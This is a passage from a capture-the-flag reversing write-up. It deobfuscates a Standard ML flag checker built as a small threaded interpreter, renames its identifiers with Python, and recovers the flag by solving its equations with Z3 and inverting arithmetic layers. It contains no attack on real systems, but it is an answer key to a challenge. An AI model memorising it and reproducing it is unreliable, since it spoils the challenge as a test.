</span></span><span style="display:flex;"><span>		| Gt (lll,llll) =&gt; evalExp(E, lll) &gt; evalExp(E, llll)
</span></span><span style="display:flex;"><span>		| Lt (lll,llll) =&gt; evalExp(E, lll) &lt; evalExp(E, llll);
</span></span></code></pre></div><p>The third function is more complex, as its return type is the environment itself.
Considering that it modifies the environment, we can reasonably assume that <code>type_3</code> represents instructions.</p>
<p>Now, we analyze these instructions:</p>
<ul>
<li>The first case is a nop/skip operation since it does nothing and returns the environment unchanged.</li>
<li>The second case evaluates two expressions sequentially, where the first function call updates the environment before the second function call operates on it. This suggests a sequence operation.</li>
<li>The third case evaluates the first value, then inserts it at the beginning of the environment, making it similar to an assignment.</li>
<li>The next case resembles an <code>if</code> statement, as indicated by its structure.</li>
<li>The following case is trickier: it evaluates a boolean expression, and if the result is <code>false</code>, it returns immediately; otherwise, it evaluates a sequence of statements before recursively executing itself. This clearly represents a <code>while</code> loop.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">fun</span> <span style="color:#41a1c0">evalProgram</span>(E:(string * int) list, ll<span style="color:#fc5fa3">:</span>Program):((string * int) list) =
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">case</span> ll <span style="color:#fc5fa3">of</span>
</span></span><span style="display:flex;"><span>		Skip =&gt; E
</span></span><span style="display:flex;"><span>		| Seq (lll,llll) =&gt; evalProgram(evalProgram(E, lll), llll)
</span></span><span style="display:flex;"><span>		| Assign (lllll, llllll) =&gt; (lllll, evalExp(E,llllll)) :: E
</span></span><span style="display:flex;"><span>		| If (lllllll, llllllll, lllllllll) =&gt; <span style="color:#fc5fa3">if</span> evalBool(E, lllllll) <span style="color:#fc5fa3">then</span> evalProgram(E, llllllll) <span style="color:#fc5fa3">else</span> evalProgram(E, lllllllll)
</span></span><span style="display:flex;"><span>		| While (lllllll, lll) =&gt; <span style="color:#fc5fa3">if</span> evalBool(E, lllllll) <span style="color:#fc5fa3">then</span> evalProgram(E, Seq(lll, ll)) <span style="color:#fc5fa3">else</span> E
</span></span><span style="display:flex;"><span>		| type_3_7 lll =&gt; evalProgram(E, lll)
</span></span><span style="display:flex;"><span>		| type_3_6 =&gt; E;
</span></span></code></pre></div><p>Now, stepping into the next functions, we find that they behave similarly but also incorporate <code>throw</code> and <code>callcc</code>.
A quick search reveals that these are <a href="https://en.wikipedia.org/wiki/Continuation">continuation</a> primitives.
Examining their implementation, we determine that the function executes an instruction and then returns, except for the last two cases:</p>
<ul>
<li>One case executes all the instructions it contains.</li>
<li>The other returns itself.</li>
</ul>
<p>At this point, it is useful to see where this function is called.
We find that it is invoked by <code>llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll</code>, which is simply a wrapper around callcc,
and that this, in turn, is called by <code>lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll</code>.
In the latter function, after calling the wrapper on the first element of the <code>type_4</code> parameter, additional operations are performed.</p>
<p>Examining <code>type_4</code>, we observe that it is simply a list of <code>Program</code> elements.
Given that we are dealing with a list of programs, where only one instruction is executed at a time, we can make an educated guess:</p>
<p>It resembles a basic threading system.</p>
<p>Supporting this hypothesis, we see that one function checks whether the next instruction (ignoring sequence wrappers) is a block operation.
It iterates over all programs, verifying if they are at the same block operation or at the end of the list.
Thus, the block operation likely serves as a barrier or synchronization mechanism.</p>
<p>Further analysis of the remaining functions confirms this assumption.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Program</span> = <span style="color:#5dd8ff">Skip</span> | <span style="color:#5dd8ff">Seq</span> <span style="color:#fc5fa3">of</span> Program * Program | <span style="color:#5dd8ff">Assign</span> <span style="color:#fc5fa3">of</span> string * Exp | <span style="color:#5dd8ff">If</span> <span style="color:#fc5fa3">of</span> Bool * Program * Program | <span style="color:#5dd8ff">While</span> <span style="color:#fc5fa3">of</span> Bool * Program | <span style="color:#5dd8ff">Sync</span> | <span style="color:#5dd8ff">Crit</span> <span style="color:#fc5fa3">of</span> Program;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Thread</span> = <span style="color:#5dd8ff">Null</span> | <span style="color:#5dd8ff">Th</span> <span style="color:#fc5fa3">of</span> Program * Thread;
</span></span></code></pre></div><p>In conclusion, we can define the final types as follows:</p>
<ul>
<li><code>Program</code>, representing the sequence of operations, including assignment, loops, and synchronization primitives.</li>
<li><code>Thread</code>, representing individual execution flows.
This allows us to fully analyze the execution environment and understand how the program processes the final, single-line command at the end of the file.</li>
</ul>
<h2 id="reverse-of-the-main-logic">Reverse of the Main Logic</h2>
<p>Now that we have deobfuscated the program is time to understand what is actually doing into the executed section;
for this we will use a script to help us with the names.
First we start with the list of names that we found previosly:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sml" data-lang="sml"><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Exp</span> = <span style="color:#5dd8ff">Const</span> <span style="color:#fc5fa3">of</span> int | <span style="color:#5dd8ff">Var</span> <span style="color:#fc5fa3">of</span> string | <span style="color:#5dd8ff">Sum</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Sub</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Mul</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Div</span> <span style="color:#fc5fa3">of</span> Exp * Exp;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Bool</span> = <span style="color:#5dd8ff">True</span> | <span style="color:#5dd8ff">False</span> | <span style="color:#5dd8ff">And</span> <span style="color:#fc5fa3">of</span> Bool * Bool | <span style="color:#5dd8ff">Or</span> <span style="color:#fc5fa3">of</span> Bool * Bool | <span style="color:#5dd8ff">Not</span> <span style="color:#fc5fa3">of</span> Bool | <span style="color:#5dd8ff">Eq</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Gt</span> <span style="color:#fc5fa3">of</span> Exp * Exp | <span style="color:#5dd8ff">Lt</span> <span style="color:#fc5fa3">of</span> Exp * Exp;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Program</span> = <span style="color:#5dd8ff">Skip</span> | <span style="color:#5dd8ff">Seq</span> <span style="color:#fc5fa3">of</span> Program * Program | <span style="color:#5dd8ff">Assign</span> <span style="color:#fc5fa3">of</span> string * Exp | <span style="color:#5dd8ff">If</span> <span style="color:#fc5fa3">of</span> Bool * Program * Program | <span style="color:#5dd8ff">While</span> <span style="color:#fc5fa3">of</span> Bool * Program | <span style="color:#5dd8ff">Sync</span> | <span style="color:#5dd8ff">Crit</span> <span style="color:#fc5fa3">of</span> Program;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">datatype</span> <span style="color:#fc5fa3">Thread</span> = <span style="color:#5dd8ff">Null</span> | <span style="color:#5dd8ff">Th</span> <span style="color:#fc5fa3">of</span> Program * Thread;
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>EXP =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>CONST =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>VAR =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SUM =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SUB =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>MUL =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>DIV =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>BOOL =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>TRUE =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>FALSE =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>AND =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>OR =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>NOT =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>EQ =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>GT =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>LT =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PROGRAM =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SKIP =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SEQ =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>ASSIGN =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>IF =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>WHILE =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SYNC =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>CRIT =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>THREAD =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>NULL =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>TH =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>operations = {
</span></span><span style="display:flex;"><span>	EXP: <span style="color:#fc6a5d">&#39;Exp&#39;</span>,
</span></span><span style="display:flex;"><span>	CONST: <span style="color:#fc6a5d">&#39;Const&#39;</span>,
</span></span><span style="display:flex;"><span>	VAR: <span style="color:#fc6a5d">&#39;Var&#39;</span>,
</span></span><span style="display:flex;"><span>	SUM: <span style="color:#fc6a5d">&#39;Sum&#39;</span>,
</span></span><span style="display:flex;"><span>	SUB: <span style="color:#fc6a5d">&#39;Sub&#39;</span>,
</span></span><span style="display:flex;"><span>	MUL: <span style="color:#fc6a5d">&#39;Mul&#39;</span>,
</span></span><span style="display:flex;"><span>	DIV: <span style="color:#fc6a5d">&#39;Div&#39;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	BOOL: <span style="color:#fc6a5d">&#39;Bool&#39;</span>,
</span></span><span style="display:flex;"><span>	TRUE: <span style="color:#fc6a5d">&#39;True&#39;</span>,
</span></span><span style="display:flex;"><span>	FALSE: <span style="color:#fc6a5d">&#39;False&#39;</span>,
</span></span><span style="display:flex;"><span>	AND: <span style="color:#fc6a5d">&#39;And&#39;</span>,
</span></span><span style="display:flex;"><span>	OR: <span style="color:#fc6a5d">&#39;Or&#39;</span>,
</span></span><span style="display:flex;"><span>	NOT: <span style="color:#fc6a5d">&#39;Not&#39;</span>,
</span></span><span style="display:flex;"><span>	EQ: <span style="color:#fc6a5d">&#39;Eq&#39;</span>,
</span></span><span style="display:flex;"><span>	GT: <span style="color:#fc6a5d">&#39;Gt&#39;</span>,
</span></span><span style="display:flex;"><span>	LT: <span style="color:#fc6a5d">&#39;Lt&#39;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PROGRAM: <span style="color:#fc6a5d">&#39;Program&#39;</span>,
</span></span><span style="display:flex;"><span>	SKIP: <span style="color:#fc6a5d">&#39;Skip&#39;</span>,
</span></span><span style="display:flex;"><span>	SEQ: <span style="color:#fc6a5d">&#39;Seq&#39;</span>,
</span></span><span style="display:flex;"><span>	ASSIGN: <span style="color:#fc6a5d">&#39;Assign&#39;</span>,
</span></span><span style="display:flex;"><span>	IF: <span style="color:#fc6a5d">&#39;If&#39;</span>,
</span></span><span style="display:flex;"><span>	WHILE: <span style="color:#fc6a5d">&#39;While&#39;</span>,
</span></span><span style="display:flex;"><span>	SYNC: <span style="color:#fc6a5d">&#39;Sync&#39;</span>,
</span></span><span style="display:flex;"><span>	CRIT: <span style="color:#fc6a5d">&#39;Crit&#39;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	THREAD: <span style="color:#fc6a5d">&#39;Thread&#39;</span>,
</span></span><span style="display:flex;"><span>	NULL: <span style="color:#fc6a5d">&#39;Null&#39;</span>,
</span></span><span style="display:flex;"><span>	TH: <span style="color:#fc6a5d">&#39;Th&#39;</span>,
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Now we can replace the obfuscated names with their correct ones:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>start = <span style="color:#fc6a5d">&#39;val lll = &#39;</span>
</span></span><span style="display:flex;"><span>ast = code[<span style="color:#d0bf69">179</span>][<span style="color:#d0a8ff">len</span>(start):-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>subs = <span style="color:#d0a8ff">sorted</span>(operations.items(), reverse=<span style="color:#fc5fa3">True</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> sub, name in subs:
</span></span><span style="display:flex;"><span>	ast = ast.replace(sub, name)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag_chars = [<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;&#34;</span><span style="color:#fc6a5d">{</span> <span style="color:#fc6a5d">&#34;l&#34;</span> * (i+<span style="color:#d0bf69">1</span>) <span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;&#39;</span> <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">29</span>)]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(flag_chars)-<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>	ast = ast.replace(flag_chars[i], <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;&#34;c_</span><span style="color:#fc6a5d">{</span>i<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;&#39;</span>)
</span></span><span style="display:flex;"><span>ast = ast.replace(<span style="color:#fc6a5d">&#39;l&#39;</span> * <span style="color:#d0bf69">30</span>, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;correct&#39;</span>)
</span></span></code></pre></div><p>If we print the AST, we can now see what the program is doing. The first step is to split the threads so they can be analyzed separately.
After splitting, we observe that each thread performs operations of the same type, except for the last one, which is slightly longer. We will analyze it later.</p>
<p>The blocks perform mathematical operations on each flag character, one time for character per block.
Additionally, we notice <strong>syncs</strong> and <strong>crits</strong>, which indicate that the threads are executed in rounds as follows:
<code>[t1] -&gt; [t2] -&gt; [t3, t4, t5, t6] -&gt; [t7] -&gt; [t8] -&gt; [t9]</code>.
Only the third group of threads runs in parallel. However, after analyzing the mathematical operations they perform, we see that they consist solely of addition and subtraction, meaning we can serialize them.</p>
<p>Now that we understand what each thread does and when it executes (except for the last one), we can extract the values from these blocks:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>blocks = ast.split(<span style="color:#fc6a5d">&#39;Th&#39;</span>)[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">extract_from_block</span>(block):
</span></span><span style="display:flex;"><span>	values = {}
</span></span><span style="display:flex;"><span>	splitted_block = block.split(<span style="color:#fc6a5d">&#39;Var &#34;&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0a8ff">len</span>(splitted_block)):
</span></span><span style="display:flex;"><span>		var, val = splitted_block[i].split(<span style="color:#fc6a5d">&#39;)&#39;</span>)[<span style="color:#d0bf69">0</span>].split(<span style="color:#fc6a5d">&#39;&#34;, Const &#39;</span>)
</span></span><span style="display:flex;"><span>		var = <span style="color:#d0a8ff">int</span>(var.split(<span style="color:#fc6a5d">&#39;_&#39;</span>)[<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>		values[var] = <span style="color:#d0a8ff">int</span>(val)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> values
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>layers = []
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(blocks) - <span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>	layers.append(extract_from_block(blocks[i]))
</span></span></code></pre></div><p>For the last block, we observe many <strong>if</strong> statements. We can split them to analyze their purpose.
Most of them assign the <code>correct</code> value based on previous conditions. After filtering these out, we are left with many multiplications, sums, and comparisons.
After analyzing the logic, we find that each <strong>if</strong> statement represents an equation where the unknowns are the characters of the flag.
Since we have multiple equations, we can solve them using <strong>Z3</strong>.</p>
<p>First, we filter out the equations:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>last_block = [check <span style="color:#fc5fa3">for</span> check in blocks[-<span style="color:#d0bf69">1</span>].split(<span style="color:#fc6a5d">&#39;If&#39;</span>) <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;correct&#39;</span> not in check][<span style="color:#d0bf69">1</span>:]
</span></span></code></pre></div><p>Next, we write an equation extractor for the remaining statements:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">extract_equation</span>(block):
</span></span><span style="display:flex;"><span>	tmp = block.split(<span style="color:#fc6a5d">&#39;Mul&#39;</span>)[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>	values = {}
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i, mul in <span style="color:#d0a8ff">enumerate</span>(tmp):
</span></span><span style="display:flex;"><span>		mul = mul[<span style="color:#d0a8ff">len</span>(<span style="color:#fc6a5d">&#39;(Const &#39;</span>):]
</span></span><span style="display:flex;"><span>		val, var = mul.split(<span style="color:#fc6a5d">&#39;Var &#34;&#39;</span>)
</span></span><span style="display:flex;"><span>		var = var.split(<span style="color:#fc6a5d">&#39;&#34;)&#39;</span>)[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> val[<span style="color:#d0bf69">0</span>] == <span style="color:#fc6a5d">&#39;(&#39;</span>:
</span></span><span style="display:flex;"><span>			val = - <span style="color:#d0a8ff">int</span>(val.split(<span style="color:#fc6a5d">&#39; - &#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			val = <span style="color:#d0a8ff">int</span>(val[:-<span style="color:#d0bf69">2</span>])
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> i == (<span style="color:#d0a8ff">len</span>(tmp)-<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>			const = mul.split(<span style="color:#fc6a5d">&#39;Const &#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">3</span>]
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> const[<span style="color:#d0bf69">0</span>] == <span style="color:#fc6a5d">&#39;(&#39;</span>:
</span></span><span style="display:flex;"><span>				const = - <span style="color:#d0a8ff">int</span>(const.split(<span style="color:#fc6a5d">&#39; - &#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>				const = <span style="color:#d0a8ff">int</span>(const)
</span></span><span style="display:flex;"><span>		var = <span style="color:#d0a8ff">int</span>(var.split(<span style="color:#fc6a5d">&#39;_&#39;</span>)[<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>		values[var] = val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> values, const
</span></span></code></pre></div><p>Now, we extract all equations and feed them into the <strong>Z3</strong> solver:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> z3 <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag_chars = [BitVec(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;c_</span><span style="color:#fc6a5d">{</span>i<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>, <span style="color:#d0bf69">16</span>) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">29</span>)]
</span></span><span style="display:flex;"><span>s = Solver()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> sub_block in last_block:
</span></span><span style="display:flex;"><span>	values, const = extract_equation(sub_block)
</span></span><span style="display:flex;"><span>	equation = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> var, val in values.items():
</span></span><span style="display:flex;"><span>		equation += val * flag_chars[var]
</span></span><span style="display:flex;"><span>	s.add(equation == const)
</span></span></code></pre></div><p>Then, we check if a valid solution exists:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Checking...&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> s.check() == sat:
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Sat&#39;</span>)
</span></span><span style="display:flex;"><span>	m = s.model()
</span></span><span style="display:flex;"><span>	flag = [m[c].as_long() <span style="color:#fc5fa3">for</span> c in flag_chars]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Unsat&#39;</span>)
</span></span><span style="display:flex;"><span>	exit(<span style="color:#d0bf69">1</span>)
</span></span></code></pre></div><p>With the system solved, we can retrieve the operations from previous threads:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>SUM = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>SUB = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MUL = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>signs = [SUM, MUL, SUB, SUM, SUB, SUB, MUL, SUM]
</span></span></code></pre></div><p>And invert them:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(layers)-<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>	sign = signs[i]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> sign == SUM:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> var, val in layers[i].items():
</span></span><span style="display:flex;"><span>			flag[var] -= val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> sign == SUB:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> var, val in layers[i].items():
</span></span><span style="display:flex;"><span>			flag[var] += val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> sign == MUL:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> var, val in layers[i].items():
</span></span><span style="display:flex;"><span>			flag[var] //= val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Error&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span></code></pre></div><p>Finally, we cast the flag and win:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(flag)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#d0a8ff">bytes</span>(flag))
</span></span></code></pre></div><h2 id="final-solve-scipt">Final Solve Scipt</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>file = <span style="color:#fc6a5d">&#39;dist/LLL.sml&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(file, <span style="color:#fc6a5d">&#39;r&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	code = f.read().split(<span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">datatype Exp = Const of int | Var of string | Sum of Exp * Exp | Sub of Exp * Exp | Mul of Exp * Exp | Div of Exp * Exp;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">datatype Bool = True | False | And of Bool * Bool | Or of Bool * Bool | Not of Bool | Eq of Exp * Exp | Gt of Exp * Exp | Lt of Exp * Exp;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">datatype Program = Skip | Seq of Program * Program | Assign of string * Exp | If of Bool * Program * Program | While of Bool * Program | Sync | Crit of Program;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">datatype Thread = Null | Th of Program * Thread;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#39;&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>EXP =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>CONST =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>VAR =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllll&#39;</span>
